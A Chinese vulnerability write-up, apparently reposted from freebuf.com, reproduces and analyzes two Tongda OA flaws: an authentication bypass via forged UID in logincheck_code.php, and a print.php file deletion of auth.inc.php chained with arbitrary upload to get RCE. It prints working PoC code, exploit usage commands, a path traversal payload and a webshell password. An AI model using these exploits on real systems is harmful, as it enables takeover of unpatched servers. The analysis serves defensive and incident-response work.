1.任意用户登录漏洞
影响版本:
通达OA2017版本、通达OA < 11.5版本
11.4下载地址:
下载地址:https://cdndown.tongda2000.com/oa/2019/TDOA11.4.exe
漏洞介绍:
通过此漏洞构造请求,可以造成任意用户登录,包括系统管理,之后上传木马控制服务器。
Poc地址:
https://github.com/NS-Sp4ce/TongDaOA-Fake-User
漏洞复现:
Poc的用法:POC.py -v 11 -url http://10.211.55.5/,生成一个cookie。
正常登陆后的地址为/general/index.php,我们只需要将cookie替换成生成的cookie值。
请求地址,更换用POC生成的Cookie,发现无需用户名和密码登录成功登录成功。
Poc分析:
Poc关键在getV11Session这里,可以看到通过定义getSessUrl,拼接/logincheck_code.php这个文件,我们访问下/logincheck_code.php这个文件的内容
def getV11Session(url): checkUrl = url+'/general/login_code.php' try: headers["User-Agent"] = choice(USER_AGENTS) res = requests.get(checkUrl,headers=headers) resText = str(res.text).split('{') codeUid = resText[-1].replace('}"}', '').replace('\r\n', '') getSessUrl = url+'/logincheck_code.php' res = requests.post(getSessUrl, data={'CODEUID': '{'+codeUid+'}', 'UID': int(1)},headers=headers) tmp_cookie = res.headers['Set-Cookie'] headers["User-Agent"] = choice(USER_AGENTS) headers["Cookie"] = tmp_cookie check_available = requests.get(url + '/general/index.php',headers=headers) if '用户未登录' not in check_available.text: if '重新登录' not in check_available.text: print('[+]Get Available COOKIE:' + tmp_cookie) else: print('[-]Something Wrong With ' + url + ',Maybe Not Vulnerable.') except: print('[-]Something Wrong With ‘+url)
访问为一个二维码
将这个源码下载,打开后有一个uid,通过这个uid,构造post包发到/logincheck_code.php,会返回一个session,浏览器中替换session得到管理员权限。
"status":1,"code_uid":"{B69084B5-BCBA-6701-41D2-563667A88C66}"}
源码分析:
既然Poc读取了logincheck_code.php那就先从这里来看
第14行代码中,获取一个登录的标识id,判断标识是否存在。
而造成漏洞的关键点在第28行,这个查询语句上,$UID可以看到这个UID变量是可控的,默认UID=1时,用户是admin权限,而当我们请求uid=1时,从sql中查询返回的结果就是admin的信息。
这两个位置,对查询到的UID进行SESSION赋值,因此,只要伪造UID=1的值,就可以拿到admin的cookie值。
我们再跟进下$login_codeuid这参数,在/general/login_code.php
7-12行,随机生成一个id,在35行通过set_cache将id写入缓存中,37行是将生成的id输出。
再看poc,思路是先访问/general/login_code.php,获得一个随机的id值,再去访问/logincheck_code.php,使用POST方法传参数,参数就是随机获得的id值和uid=1,就能获得返回包PHPSESSID。
手动复现
2.任意文件上传配合文件包含漏洞
影响版本
11.6版本,下载地址:https://cdndown.tongda2000.com/oa/2019/TDOA11.6.exe
漏洞介绍
该漏洞是由于print.php存在任意文件删除漏洞,通过删除通达OA身份认证文件auth.inc.php达到绕过登录限制, 结合任意文件上传达到RCE的效果
漏洞复现
Exp下载地址:https://github.com/admintony/TongdaRCE
exp的使用方法: python3 tongda-rce.py http://172.16.98.135/
用冰蝎连接,连接密码pass
登录界面查看,发现界面变了,实际是上是exp会删除掉auth.inc.php文件,这个文件是用来做身份验证的,而upload.php也包含了此文件,但是通过include包含进来的是不会导致程序挂掉的。
漏洞分析
任意文件上传漏洞造成的关键在webroot\ispirit\im\upload.php
第4行的位置,传入一个P参数,判断P的值是否不为空,之后调用了4个php文件
19行中,输入的参数是可控的,从第21行开始,对$DEST_UID的值进行进行判断,$DEST_UID的值为空退出;$DEST_UID的值为0,$UOLOAD_MODE值为不等于2,退出;
43行判断文件上传模式,45行调用了upload的函数,84行之后有3种上传模式。
我们跟进45行看下upload的函数,函数位置在/inc/utility_file.php中
判断文件名是否符合上传的格式
在这里看到上传格式是php,会返回false,strtolower(substr($FILE_NAME, $POS + 1, 3))这段意思是从.开始来匹配3位,判断是否为php
由于exp会删除一个文件,我们接着定位文件删除的漏洞点\webroot\module\appbuilder\assets\print.php
可以看到第6-8行就实现了任意文件删除,只要传入guid=../../../webroot/inc/auth.inc.php,带入unlink就可以删除身份验证的这个文件。也就是利用文件包含删除身份验证,从而带入参数可以上传文件。
exp分析
和我们分析漏洞点的地方一致。
按照这次应急的日志对比我们复现的日志查看,在/inc/auth.inc.php状态为404时,身份校验文件已经被删除,后面就是任意文件上传了。
来源:freebuf.com 2021-02-25 14:11:45 by: ATL安全团队
请登录后发表评论
注册